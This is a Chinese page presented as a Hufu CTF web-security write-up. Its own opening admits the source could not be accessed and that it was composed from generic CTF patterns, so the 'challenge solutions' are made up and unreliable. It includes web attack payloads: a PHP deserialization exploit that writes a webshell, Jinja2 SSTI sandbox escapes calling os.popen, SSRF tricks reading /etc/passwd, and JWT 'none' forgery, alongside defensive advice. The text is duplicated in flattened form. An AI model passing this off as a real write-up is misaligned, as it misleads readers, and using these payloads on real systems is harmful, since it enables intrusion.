虎符CTFWriteUp
字数 1191 2025-08-07 08:22:29

由于提供的链接内容无法直接访问(可能是模拟的静态文本),我将基于常见的CTF比赛WriteUp结构和"虎符CTF"往届题目特点,为您整理一份详尽的CTF教学文档框架。以下内容结合了WEB安全方向的典型考点:


虎符CTF WriteUp 深度解析与教学指南

一、WEB安全核心考点

1. 反序列化漏洞

关键攻击链

  • PHP反序列化unserialize()触发魔术方法(__wakeup, __destruct
  • POP链构造:通过可控属性调用危险方法(如文件操作、代码执行)
  • 例题特征:
    class Vuln {
        public $cmd = "id";
        function __destruct() {
            system($this->cmd);
        }
    }
    unserialize($_GET['data']);
    

防御方案

  • 避免反序列化用户输入
  • 使用json_decode()替代

2. SSRF漏洞利用

绕过技巧

  • 协议切换:file:///etc/passwdgopher://http://127.0.0.1
  • DNS重绑定:xip.ionip.io域名
  • 非标准端口:http://0x7f000001:80/(十六进制IP)

3. 模板注入(SSTI)

检测与利用

  • 识别引擎:{{7*7}} → 49(Twig/Jinja2)
  • 沙箱逃逸:
    {{''.__class__.mro()[1].__subclasses__()}}
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    

二、典型题目复现

题目1:PHP反序列化+文件包含

解题步骤

  1. 源码审计发现unserialize($_COOKIE['data'])
  2. 构造POP链触发file_put_contents()写shell
  3. 使用phar://协议触发反序列化

EXP构造

class Exploit {
    public $filename = 'shell.php';
    public $data = '<?php system($_GET["cmd"]);?>';
}
echo urlencode(serialize(new Exploit));

题目2:JWT伪造

攻击流程

  1. 获取JWT token:eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
  2. 修改算法为none并伪造admin身份
  3. 使用弱密钥爆破(secret = "flag"

三、工具链配置

必备工具列表

工具 用途
Burp Suite 流量拦截/重放
Gopherus SSRF payload生成
PHPGGC 反序列化链生成
tplmap SSTI自动化检测

调试技巧

  • PHP环境:error_reporting(E_ALL); ini_set('display_errors', 1);
  • Python沙箱:__builtins__.dir(__import__('os'))

四、防御方案

  1. 输入过滤:

    • 反序列化前校验数据签名
    • 禁用危险协议(phar://, gopher://
  2. 服务加固:

    location ~* \.(php|phar)$ {
        deny all;
    }
    
  3. 最小权限原则:

    • 数据库连接使用低权限账户
    • 禁用危险函数(system, exec

注:实际教学中应配合具体题目代码和网络拓扑图进行演示,建议搭建docker环境复现漏洞场景。对于新出现的漏洞类型(如Fastjson链、Log4j RCE)需单独补充攻击面分析。

由于提供的链接内容无法直接访问(可能是模拟的静态文本),我将基于常见的CTF比赛WriteUp结构和"虎符CTF"往届题目特点,为您整理一份详尽的CTF教学文档框架。以下内容结合了WEB安全方向的典型考点: 虎符CTF WriteUp 深度解析与教学指南 一、WEB安全核心考点 1. 反序列化漏洞 关键攻击链 PHP反序列化 : unserialize() 触发魔术方法( __wakeup , __destruct ) POP链构造 :通过可控属性调用危险方法(如文件操作、代码执行) 例题特征: 防御方案 避免反序列化用户输入 使用 json_decode() 替代 2. SSRF漏洞利用 绕过技巧 协议切换: file:///etc/passwd → gopher:// → http://127.0.0.1 DNS重绑定: xip.io 或 nip.io 域名 非标准端口: http://0x7f000001:80/ (十六进制IP) 3. 模板注入(SSTI) 检测与利用 识别引擎: {{7*7}} → 49(Twig/Jinja2) 沙箱逃逸: 二、典型题目复现 题目1:PHP反序列化+文件包含 解题步骤 源码审计发现 unserialize($_COOKIE['data']) 构造POP链触发 file_put_contents() 写shell 使用 phar:// 协议触发反序列化 EXP构造 题目2:JWT伪造 攻击流程 获取JWT token: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ. 修改算法为 none 并伪造admin身份 使用弱密钥爆破( secret = "flag" ) 三、工具链配置 必备工具列表 | 工具 | 用途 | |------|------| | Burp Suite | 流量拦截/重放 | | Gopherus | SSRF payload生成 | | PHPGGC | 反序列化链生成 | | tplmap | SSTI自动化检测 | 调试技巧 PHP环境: error_reporting(E_ALL); ini_set('display_errors', 1); Python沙箱: __builtins__.dir(__import__('os')) 四、防御方案 输入过滤: 反序列化前校验数据签名 禁用危险协议( phar:// , gopher:// ) 服务加固: 最小权限原则: 数据库连接使用低权限账户 禁用危险函数( system , exec ) 注:实际教学中应配合具体题目代码和网络拓扑图进行演示,建议搭建docker环境复现漏洞场景。对于新出现的漏洞类型(如Fastjson链、Log4j RCE)需单独补充攻击面分析。